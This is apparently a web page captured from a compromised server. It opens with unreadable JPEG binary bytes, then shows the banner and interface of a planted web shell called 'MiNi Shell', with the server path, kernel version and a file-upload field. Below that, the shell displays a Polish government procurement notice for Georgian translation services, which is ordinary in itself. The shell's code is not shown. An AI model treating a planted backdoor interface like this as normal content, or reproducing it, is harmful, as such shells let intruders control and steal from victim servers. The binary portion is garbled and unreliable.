JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/common/web/tenders/20220331/

Linux 9dbcd5f6333d 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/common/web/tenders/20220331/0010515601-N-2022.html

<!-- Version 1.0.0 --><style type="text/css"> .normal { color: black; } h1.title { }</style> <h1 class="text-center mt-5 mb-5">Ogłoszenie o zamówieniu<br/> Usługi<br/> Obsługa tłumaczeń pisemnych i ustnych - język gruziński, na potrzeby projektu<br/>DWR/ADM2021/013/2 - Gruzja 2022 </h1> <h2 class="bg-light p-3 mt-4">SEKCJA I - ZAMAWIAJĄCY</h2> <h3 class="mb-0">1.1.) Rola zamawiającego</h3> <p class="mb-0">Postępowanie prowadzone jest samodzielnie przez zamawiającego</p> <h3 class="mb-0">1.2.) Nazwa zamawiającego: <span class="normal">GŁÓWNY INSPEKTORAT FARMACEUTYCZNY</span></h3> <h3 class="mb-0">1.4) Krajowy Numer Identyfikacyjny: <span class="normal">REGON 016182425</span></h3><h3 class="mb-0">1.5) Adres zamawiającego </h3> <h3 class="mb-0">1.5.1.) Ulica: <span class="normal">ul. Senatorska 12</span></h3> <h3 class="mb-0">1.5.2.) Miejscowość: <span class="normal">Warszawa</span></h3> <h3 class="mb-0">1.5.3.) Kod pocztowy: <span class="normal">00-082</span></h3> <h3 class="mb-0">1.5.4.) Województwo: <span class="normal">mazowieckie</span></h3> <h3 class="mb-0">1.5.5.) Kraj: <span class="normal">Polska</span></h3> <h3 class="mb-0">1.5.6.) Lokalizacja NUTS 3: <span class="normal">PL911 - Miasto Warszawa</span></h3> <h3 class="mb-0">1.5.9.) Adres poczty elektronicznej: <span class="normal">gif@gif.gov.pl</span></h3> <h3 class="mb-0">1.5.10.) Adres strony internetowej zamawiającego: <span class="normal">www.gif.gov.pl</span></h3> <h3 class="mb-0"> 1.6.) Rodzaj zamawiającego: <span class="normal">Zamawiający publiczny - jednostka sektora finansów publicznych - organ władzy publicznej - organ administracji rządowej (centralnej lub terenowej)</span> </h3> <h3 class="mb-0"> 1.7.) Przedmiot działalności zamawiającego: <span class="normal">Zdrowie</span> </h3> <h2 class="bg-light p-3 mt-4">SEKCJA II – INFORMACJE PODSTAWOWE</h2> <h3 class="mb-0">2.1.) Ogłoszenie dotyczy: </h3> <p class="mb-0"> Zamówienia publicznego </p> <h3 class="mb-0">2.2.) Ogłoszenie dotyczy usług społecznych i innych szczególnych usług: <span class="normal">Nie</span></h3> <h3 class="mb-0">2.3.) Nazwa zamówienia albo umowy ramowej: </h3> <p class="mb-0"> Obsługa tłumaczeń pisemnych i ustnych - język gruziński, na potrzeby projektu<br/>DWR/ADM2021/013/2 - Gruzja 2022 </p> <h3 class="mb-0">2.4.) Identyfikator postępowania: <span class="normal">ocds-148610-eb0458ea-b0c1-11ec-80f8-1ad70aec7fa4</span></h3> <h3 class="mb-0">2.5.) Numer ogłoszenia: <span class="normal">2022/BZP 00105156</span></h3> <h3 class="mb-0">2.6.) Wersja ogłoszenia: <span class="normal">01</span></h3> <h3 class="mb-0">2.7.) Data ogłoszenia: <span class="normal">2022-03-31</span></h3> <h3 class="mb-0">2.8.) Zamówienie albo umowa ramowa zostały ujęte w planie postępowań: <span class="normal">Tak</span></h3> <h3 class="mb-0">2.9.) Numer planu postępowań w BZP: <span class="normal">2022/BZP 00078196/01/P</span></h3> <h3 class="mb-0">2.10.) Identyfikator pozycji planu postępowań: </h3> <p class="mb-0">1.3.2 Usługa tłumaczeniowa na 2022 rok - język gruziński</p> <h3 class="mb-0">2.11.) O udzielenie zamówienia mogą ubiegać się wyłącznie wykonawcy, o których mowa w art. 94 ustawy: <span class="normal">Nie</span></h3> <h3 class="mb-0">2.14.) Czy zamówienie albo umowa ramowa dotyczy projektu lub programu współfinansowanego ze środków Unii Europejskiej: <span class="normal">Nie</span></h3> <h3 class="mb-0">2.16.) Tryb udzielenia zamówienia wraz z podstawą prawną</h3> <p class="mb-0"> Zamówienie udzielane jest w trybie podstawowym na podstawie: art. 275 pkt 1 ustawy </p> <h2 class="bg-light p-3 mt-4">SEKCJA III – UDOSTĘPNIANIE DOKUMENTÓW ZAMÓWIENIA I KOMUNIKACJA</h2> <h3 class="mb-0">3.1.) Adres strony internetowej prowadzonego postępowania</h3> https://gif.eb2b.com.pl <h3 class="mb-0">3.2.) Zamawiający zastrzega dostęp do dokumentów zamówienia: <span class="normal">Nie</span></h3> <h3 class="mb-0">3.4.) Wykonawcy zobowiązani są do składania ofert, wniosków o dopuszczenie do udziału w postępowaniu, oświadczeń oraz innych dokumentów wyłącznie przy użyciu środków komunikacji elektronicznej: <span class="normal">Tak</span></h3> <h3 class="mb-0">3.5.) Informacje o środkach komunikacji elektronicznej, przy użyciu których zamawiający będzie komunikował się z wykonawcami - adres strony internetowej: <span class="normal">https://gif.eb2b.com.pl</span></h3> <h3 class="mb-0">3.6.) Wymagania techniczne i organizacyjne dotyczące korespondencji elektronicznej: <span class="normal">Komunikacja między zamawiającym a wykonawcami odbywa się wyłącznie przy użyciu środków komunikacji elektronicznej zgodnie z art. 61 ustawy, za pośrednictwem elektronicznej platformy zakupowej (dalej: „Platforma”) pod adresem: https://platforma.eb2b.com.pl lub https://gif.eb2b.com.pl, która spełnia wymagania opisane w art. 64 ustawy.<br/>Wykonawca zamierzający wziąć udział w postępowaniu o udzielenie zamówienia publicznego, musi posiadać konto na Platformie Zakupowej. Zarejestrowanie i utrzymywanie konta na Platformie Zakupowej oraz korzystanie z Platformy jest bezpłatne.<br/>Wymagania techniczne i organizacyjne korzystania z Platformy Zakupowej określa Regulamin Platformy Zakupowej (dostępny pod adresem internetowym https://platforma.eb2b.com.pl/user/terms lub https://gif.eb2b.com.pl/user/terms). Wykonawca przystępując do postępowania o udzielenie zamówienia publicznego tj. bezpłatnie rejestrując się lub logując (w przypadku posiadania konta w Platformie Zakupowej), akceptuje warunki korzystania z Platformy, określone w Regulaminie oraz uznaje go za wiążący.<br/>Zamawiający nie przewiduje użycia innych środków komunikacji elektronicznej ze względu na sytuacje, o których mowa w art. 65 ust. 1, art. 66 i art. 69 ustawy Pzp. <br/>Niezbędne wymagania sprzętowo-aplikacyjne umożliwiające pracę na Platformie:<br/>1)	stały dostęp do sieci Internet o gwarantowanej przepustowości nie mniejszej niż 4/1 mb/s,<br/>2)	komputer klasy PC lub lub Mac, o następującej konfiguracji: pamięć RAM min. 8 GB, procesor Intel IV 4GHz, jeden z systemów operacyjnych: MS Windows 7, Mac OS x 10.4, Linux, lub ich nowsze wersje,<br/>3)	zainstalowana dowolna najnowsza wersja przeglądarki internetowej; w przypadku Internet Explorer minimalnie wersja 11.0.<br/>4)	włączona obsługa JavaScript,<br/>5)	zainstalowany program obsługujący stosowane przez wykonawcę formaty plików (np. Acrobat Reader dla plików w formacie .pdf).<br/>Wszelkie dokumenty, oświadczenia, informacje, o których mowa w SWZ, należy wczytać jako załączniki na Platformie, według Instrukcji korzystania z Platformy, dostępnej dla zalogowanych użytkowników w zakładce „Pomoc” – „Instrukcje”.<br/>Dokumenty elektroniczne, oświadczenia lub elektroniczne kopie dokumentów lub oświadczeń składające się na ofertę, składane są przez wykonawcę przy użyciu zakładki „Załączniki” w trakcie etapu składania ofert/wniosków.<br/>Ewentualne wnioski o wyjaśnienie treści SWZ, wnioski o przeprowadzenie wizji lokalnej itp., także składane są przy użyciu zakładki Pytania/informacje”.<br/>Zamawiający dopuszcza przesyłanie plików w formatach danych określonych w przepisach wydanych na podstawie art. 18 ustawy z dnia 17 lutego 2005 r. o informatyzacji działalności podmiotów realizujących zadania publiczne (t.j. Dz. U. z 2021 r. poz. 2070 z późn. zm.), tj. rozporządzenia Rady Ministrów z dnia 12 kwietnia 2012 r. w sprawie Krajowych Ram Interoperacyjności, minimalnych wymagań dla rejestrów publicznych i wymiany informacji w postaci elektronicznej oraz minimalnych wymagań dla systemów teleinformatycznych (t.j. Dz. U. z 2017 r. poz. 2247) – w szczególności w formatach: .pdf, .doc, .docx, .rtf lub .odt., xades.<br/>Informacja na temat specyfikacji połączenia, formatu przesyłanych danych oraz kodowania i oznaczania czasu odbioru danych:<br/>1)	szyfrowanie za pomocą protokołu TLS;<br/>2)	formularze dostępne są w formacie HTML z kodowaniem UTF-8;<br/>3)	wszelkie operacje opierają się o czas serwera i dane zapisywane są z dokładnością co do setnej części sekundy;<br/>4)	pliki oferty wczytane przez wykonawcę na Platformę i zapisane, widoczne są w Platformie jako zaszyfrowane, możliwość otwarcia plików dostępna jest dopiero po odszyfrowaniu przez zamawiającego po upływie terminu otwarcia ofert;<br/>5)	oznaczenie czasu odbioru danych przez Platformę stanowi przypiętą do dokumentu elektronicznego datę oraz dokładny czas (hh:mm:ss), znajdującą się po lewej stronie dokumentu w kolumnie „Data przesłania”.</span></h3> <h3 class="mb-0">3.8.) Zamawiający wymaga sporządzenia i przedstawienia ofert przy użyciu narzędzi elektronicznego modelowania danych budowlanych lub innych podobnych narzędzi, które nie są ogólnie dostępne: <span class="normal">Nie</span></h3> <h3 class="mb-0">3.12.) Oferta - katalog elektroniczny: <span class="normal">Nie dotyczy</span></h3> <h3 class="mb-0">3.14.) Języki, w jakich mogą być sporządzane dokumenty składane w postępowaniu: </h3> <p class="mb-0">polski</p> <h3 class="mb-0">3.15.) RODO (obowiązek informacyjny): <span class="normal">Na podstawie art. 19 ust. 1 PZP w związku z art. art. 13 ust. 1-3 rozporządzenia Parlamentu Europejskiego i Rady (UE) 2016/679 z dnia 27 kwietnia 2016 r. w sprawie ochrony osób fizycznych w związku z przetwarzaniem danych osobowych i w sprawie swobodnego przepływu takich danych oraz uchylenia dyrektywy 95/46/WE (ogólne rozporządzenie o<br/>ochronie danych), dalej „RODO”, Zamawiający informuje, że:<br/>7.1 administratorem Państwa danych osobowych jest Główny Inspektorat Farmaceutyczny z siedzibą w Warszawie,00-082 Warszawa, ul. Senatorska 12;<br/>7.2 administrator wyznaczył Inspektora Danych Osobowych, adres e-mail: iod@gif.gov.pl.<br/>7.3 Państwa dane osobowe przetwarzane będą na podstawie art. 6 ust. 1 lit. c RODO w celu związanym z niniejszym postępowaniem o udzielenie zamówienia publicznego, które jest prowadzone w trybie przetargu nieograniczonego;<br/>7.4 odbiorcami Państwa danych osobowych będą osoby lub podmioty, którym udostępniona zostanie dokumentacja postępowania w oparciu o art. 74 PZP;<br/>7.5 Państwa dane osobowe będą przechowywane, zgodnie z art. 78 ust. 1 PZP przez okres 4 lat od dnia zakończenia postępowania o udzielenie zamówienia, a jeżeli czas trwania umowy przekracza 4 lata, okres przechowywania obejmuje cały czas trwania umowy (art. 78 ust. 4 PZP);<br/>7.6 obowiązek podania przez Państwa danych osobowych bezpośrednio dotyczących Państwa jest wymogiem określonym w przepisach PZP, związanym z udziałem w niniejszym postępowaniu;<br/>7.7 w odniesieniu do Państwa danych osobowych decyzje nie będą podejmowane w sposób zautomatyzowany, stosownie do postanowień art. 22 RODO;<br/>Posiadają Państwo:<br/>7.8.1 zgodnie z art. 15 RODO - prawo dostępu do danych osobowych Państwa dotyczących (z zastrzeżeniem, że w sytuacji, gdy skorzystanie z tego prawa wymagałoby po stronie administratora niewspółmiernie dużego wysiłku, mogą Państwo zostać zobowiązani do wskazania dodatkowych<br/>informacji mających na celu sprecyzowanie żądania, w szczególności podania nazwy lub daty postępowania o udzielenie zamówienia publicznego albo sprecyzowania nazwy lub daty zakończonego postępowania o udzielenie zamówienia);<br/>7.8.2 zgodnie z art. 16 RODO - prawo do sprostowania Państwa danych osobowych (z tym, że skorzystanie z prawa do sprostowania nie może skutkować zmianą wyniku postępowania o udzielenie zamówienia publicznego ani zmianą postanowień umowy w zakresie niezgodnym z PZP oraz nie może naruszać integralności protokołu z postępowania oraz załączników do niego);<br/>7.8.3 zgodnie z art. 18 RODO - prawo żądania od administratora ograniczenia przetwarzania danych osobowych z zastrzeżeniem okresu trwania postępowania o udzielenie zamówienia publicznego lub konkursu oraz przypadków, o których mowa w art. 18 ust. 2 RODO (prawo do ograniczenia<br/>przetwarzania nie ma zastosowania w odniesieniu do przechowywania, w celu zapewnienia korzystania ze środków ochrony prawnej lub w celu ochrony praw innej osoby fizycznej lub prawnej, lub z uwagi na ważne względy interesu publicznego Unii Europejskiej lub państwa członkowskiego);<br/>7.8.4 prawo do wniesienia skargi do Prezesa Urzędu Ochrony Danych Osobowych, gdy uznają Państwo, że przetwarzanie Państwa danych osobowych narusza przepisy RODO;<br/>7.9 nie przysługuje Państwu:<br/>7.9.1 zgodnie z art. 17 ust. 3 lit. b, d lub e RODO - prawo do usunięcia danych osobowych;<br/>7.9.2 prawo do przenoszenia danych osobowych, o którym mowa w art. 20 RODO;<br/>7.9.3 zgodnie z art. 21 RODO prawo sprzeciwu, wobec przetwarzania danych osobowych, gdyż<br/>podstawą prawną przetwarzania Państwa danych osobowych jest art. 6 ust. 1 lit. c RODO;<br/>7.9.4 przysługuje Państwu prawo wniesienia skargi do organu nadzorczego na niezgodne z RODO<br/>przetwarzanie Państwa danych osobowych przez administratora. Organem właściwym dla przedmiotowej skargi jest Urząd Ochrony Danych Osobowych, ul. Stawki 2, 00-193 Warszawa.</span></h3> <h3 class="mb-0">3.16.) RODO (ograniczenia stosowania): <span class="normal">Zamawiający informuje, iż w związku z art. 19 ust. 2 i 3 ustawy z dnia 11 września 2019 r. Prawo zamówień publicznych:<br/>*skorzystanie przez osobę, której dane osobowe dotyczą, z uprawnienia do sprostowania lub uzupełnienia, o którym mowa w art. 16 rozporządzenia 2016/679, nie może skutkować zmianą wyniku postępowania o udzielenie zamówienia ani zmianą postanowień umowy w sprawie zamówienia<br/>publicznego w zakresie niezgodnym z ustawą;<br/>**w postępowaniu o udzielenie zamówienia zgłoszenie żądania ograniczenia przetwarzania, o którym mowa w art. 18 ust. 1 rozporządzenia 2016/679, nie ogranicza przetwarzania danych osobowych do czasu zakończenia tego postępowania.</span></h3> <h2 class="bg-light p-3 mt-4">SEKCJA IV – PRZEDMIOT ZAMÓWIENIA</h2><h3 class="mb-0">4.1.) Informacje ogólne odnoszące się do przedmiotu zamówienia.</h3> <h3 class="mb-0">4.1.1.) Przed wszczęciem postępowania przeprowadzono konsultacje rynkowe: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.1.2.) Numer referencyjny: <span class="normal">BAG.261.6.2022.ICI</span></h3> <h3 class="mb-0">4.1.3.) Rodzaj zamówienia: <span class="normal">Usługi</span></h3> <h3 class="mb-0">4.1.4.) Zamawiający udziela zamówienia w częściach, z których każda stanowi przedmiot odrębnego postępowania: <span class="normal">Tak</span></h3> <h3 class="mb-0">4.1.8.) Możliwe jest składanie ofert częściowych: <span class="normal">Tak</span></h3> <h3 class="mb-0">4.1.9.) Liczba części: <span class="normal">2</span></h3> <h3 class="mb-0">4.1.10.) Ofertę można składać na kilka części</h3> <h3 class="mb-0">4.1.11.) Zamawiający ogranicza liczbę części zamówienia, którą można udzielić jednemu wykonawcy: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.1.13.) Zamawiający uwzględnia aspekty społeczne, środowiskowe lub etykiety w opisie przedmiotu zamówienia: <span class="normal">Nie</span></h3><h3 class="mb-0">4.2. Informacje szczegółowe odnoszące się do przedmiotu zamówienia:</h3> <h3 class="p-2 mt-4 bg-light">Część 1</h3> <h3 class="mb-0">4.2.2.) Krótki opis przedmiotu zamówienia</h3> <p class="mb-0"> Część I – obsługa tłumaczeń pisemnych oraz tłumaczeń ustnych online i realizowanych w Polsce dla Głównego Inspektoratu Farmaceutycznego z języka gruzińskiego na język polski i z języka polskiego na język gruziński </p> <h3 class="mb-0">4.2.6.) Główny kod CPV: <span class="normal">79530000-8 - Usługi w zakresie tłumaczeń pisemnych</span></h3> <h3 class="mb-0">4.2.7.) Dodatkowy kod CPV: </h3> <p class="mb-0">79540000-1 - Usługi w zakresie tłumaczeń ustnych</p> <h3 class="mb-0">4.2.8.) Zamówienie obejmuje opcje: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.10.) Okres realizacji zamówienia albo umowy ramowej: <span class="normal">do 2022-12-27</span></h3> <h3 class="mb-0">4.2.11.) Zamawiający przewiduje wznowienia: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.13.) Zamawiający przewiduje udzielenie dotychczasowemu wykonawcy zamówień na podobne usługi lub roboty budowlane: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.3.) Kryteria oceny ofert: </h3> <h3 class="mb-0">4.3.1.) Sposób oceny ofert: <span class="normal">określony w Części III pkt 2 SWZ</span></h3> <h3 class="mb-0">4.3.2.) Sposób określania wagi kryteriów oceny ofert: <span class="normal">Punktowo</span></h3> <h3 class="mb-0">4.3.3.) Stosowane kryteria oceny ofert: <span class="normal"> Kryterium ceny oraz kryteria jakościowe </span></h3> <h3 class="mb-0">Kryterium 1</h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Cena</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">60</span></h3> <h3 class="mb-0">Kryterium 2</h3> <h3 class="mb-0">4.3.4.) Rodzaj kryterium: <span class="normal">serwis posprzedażny, pomoc techniczna, warunki dostawy takich jak termin, sposób lub czas dostawy, oraz okresu realizacji.</span></h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Termin tłumaczenia pisemnego (T)</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">40</span></h3> <h3 class="mb-0">4.3.10.) Zamawiający określa aspekty społeczne, środowiskowe lub innowacyjne, żąda etykiet lub stosuje rachunek kosztów cyklu życia w odniesieniu do kryterium oceny ofert: <span class="normal">Nie</span></h3> <h3 class="p-2 mt-4 bg-light">Część 2</h3> <h3 class="mb-0">4.2.2.) Krótki opis przedmiotu zamówienia</h3> <p class="mb-0"> Część II – obsługa tłumaczeń ustnych realizowanych w Gruzji dla Głównego Inspektoratu Farmaceutycznego z języka gruzińskiego na język polski i z języka polskiego na język gruziński </p> <h3 class="mb-0">4.2.6.) Główny kod CPV: <span class="normal">79540000-1 - Usługi w zakresie tłumaczeń ustnych</span></h3> <h3 class="mb-0">4.2.8.) Zamówienie obejmuje opcje: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.10.) Okres realizacji zamówienia albo umowy ramowej: <span class="normal">do 2022-12-27</span></h3> <h3 class="mb-0">4.2.11.) Zamawiający przewiduje wznowienia: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.13.) Zamawiający przewiduje udzielenie dotychczasowemu wykonawcy zamówień na podobne usługi lub roboty budowlane: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.3.) Kryteria oceny ofert: </h3> <h3 class="mb-0">4.3.1.) Sposób oceny ofert: <span class="normal">określony w Części III pkt 2 SWZ</span></h3> <h3 class="mb-0">4.3.2.) Sposób określania wagi kryteriów oceny ofert: <span class="normal">Punktowo</span></h3> <h3 class="mb-0">4.3.3.) Stosowane kryteria oceny ofert: <span class="normal"> Wyłącznie kryterium ceny </span></h3> <h3 class="mb-0">Kryterium 1</h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Cena</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">100,00</span></h3> <h3 class="mb-0">4.3.10.) Zamawiający określa aspekty społeczne, środowiskowe lub innowacyjne, żąda etykiet lub stosuje rachunek kosztów cyklu życia w odniesieniu do kryterium oceny ofert: <span class="normal">Nie</span></h3> <h2 class="bg-light p-3 mt-4">SEKCJA V - KWALIFIKACJA WYKONAWCÓW</h2> <h3 class="mb-0">5.1.) Zamawiający przewiduje fakultatywne podstawy wykluczenia: <span class="normal">Nie</span></h3> <h3 class="mb-0">5.3.) Warunki udziału w postępowaniu: <span class="normal">Tak</span></h3> <h3 class="mb-0">5.4.) Nazwa i opis warunków udziału w postępowaniu.</h3> 1. O udzielenie zamówienia mogą ubiegać się Wykonawcy, którzy nie podlegają wykluczeniu na zasadach określonych w punkcie B części II SWZ, oraz spełniają określone przez Zamawiającego warunki udziału w postępowaniu.<br/>2.	O udzielenie zamówienia mogą ubiegać się Wykonawcy, którzy spełniają warunki dotyczące:<br/>2.1.	zdolności do występowania w obrocie gospodarczym:<br/>Zamawiający nie stawia warunków w powyższym zakresie<br/>2.2.	uprawnień do prowadzenia określonej działalności gospodarczej lub zawodowej, o ile wynika to z odrębnych przepisów:<br/>Zamawiający nie stawia warunków w powyższym zakresie.<br/>2.3.	sytuacji ekonomicznej lub finansowej:<br/>Zamawiający nie stawia warunków w powyższym zakresie.<br/>2.4.	zdolności technicznej lub zawodowej:<br/><br/>Warunek ten dla części I zostanie uznany za spełniony, gdy Wykonawca wykaże się:<br/>1)	wykonaniem w ciągu ostatnich 3 lat przed upływem terminu składnia ofert, a jeżeli okres prowadzenia działalności jest krótszy – w tym okresie: <br/>-	co najmniej dwóch zamówień polegających na wykonaniu usług tłumaczeń pisemnych w zakresie tłumaczeń polsko-gruzińskich lub gruzińsko-polskich o wartości co najmniej 3.000zł brutto każda, oraz<br/>-	co najmniej dwóch zamówień polegających na wykonaniu usług tłumaczeń ustnych polsko-gruzińskich lub gruzińsko-polskich o wartości co najmniej 1.000 zł brutto każda.<br/><br/>Warunek ten dla części II zostanie uznany a spełniony, gdy Wykonawca wykaże się:<br/>2)	wykonaniem w ciągu ostatnich 3 lat przed upływem terminu składnia ofert, a jeżeli okres prowadzenia działalności jest krótszy – w tym okresie: <br/>-	co najmniej dwóch zamówień polegających na wykonaniu usług tłumaczeń ustnych polsko- gruzińskich lub gruzińsko-polskich o wartości co najmniej 1.000 zł brutto każda.<br/><br/>3)	dysponowaniem niezbędnym potencjałem osobowym do realizacji zamówienia, tj.: <br/><br/>dla części I: dysponowaniem przynajmniej dwoma tłumaczami języka gruzińskiego – jedną osobą specjalizującą się w tłumaczeniach ustnych i jedną osobą specjalizującą się w tłumaczeniach pisemnych;<br/><br/>dla części II: dysponowaniem przynajmniej jednym tłumaczem języka gruzińskiego specjalizującym się w tłumaczeniach ustnych <br/>którzy będą posiadać: <br/><br/>- w przypadku tłumaczy, których językiem ojczystym jest język polski - znajomość języka gruzińskiego w stopniu zaawansowanym/biegłym*;<br/>- w przypadku gdy język gruziński jest językiem ojczystym tłumacza, Zamawiający wymaga znajomości języka polskiego na poziomie zaawansowanym/biegłym*.<br/><br/>* Poziom zaawansowany/biegły wg. Europejskiego Systemu Opisu Kształcenia Językowego (ESOKJ) w skali Rady Europy<br/><br/>Warunek zostanie spełniony, jeżeli Wykonawca wraz z wykazem osób:<br/>- przedstawi dokumenty (np. certyfikaty, dyplomy) potwierdzające znajomość języka w stopniu zaawansowanym/biegłym* odpowiednio: dla części I i/lub II – j. gruzińskiego lub j. polskiego; <br/>lub<br/>- przedstawi dokumenty potwierdzające doświadczenie w tłumaczeniu ustnym lub odpowiednio tłumaczeniu pisemnym języka gruzińskiego, obejmującym w szczególności tematykę administracji i prawa. <br/><br/>Warunek zostanie spełniony, jeżeli Wykonawca wraz z wykazem osób przedstawi dokumenty potwierdzające wykonanie w ciągu ostatnich 3 lat przed upływem terminu składnia ofert, a jeżeli okres prowadzenia działalności jest krótszy – w tym okresie: dwóch tłumaczeń ustnych lub odpowiednio dwóch tłumaczeń pisemnych wykonanych przez danego tłumacza odpowiednio: dla części I lub II – polsko-gruzińskich/gruzińsko-polskich, obejmujących w szczególności tematykę administracji i prawa.<br/><br/>Dokumenty złożone na potwierdzenie spełniania warunku posiadania zdolności technicznej i zawodowej powinny zostać złożone w języku polskim lub wraz z tłumaczeniem na język polski. <h3 class="mb-0">5.5.) Zamawiający wymaga złożenia oświadczenia, o którym mowa w art.125 ust. 1 ustawy: <span class="normal">Tak</span></h3> <h3 class="mb-0"> 5.6.) Wykaz podmiotowych środków dowodowych na potwierdzenie niepodlegania wykluczeniu: <span class="normal">1.1. oświadczenie o braku podstaw wykluczenia z postępowania w zakresie określonymi w pkt 1 lit. B Części II SWZ (Załącznik nr 2 do SWZ);<br/>1.2. oświadczenie o spełnieniu warunków udziału w postępowaniu w zakresie określonym w pkt 2 lit. A Części II SWZ (Załącznik nr 3 do SWZ);<br/>2. Zamawiający wezwie Wykonawcę, którego oferta została najwyżej 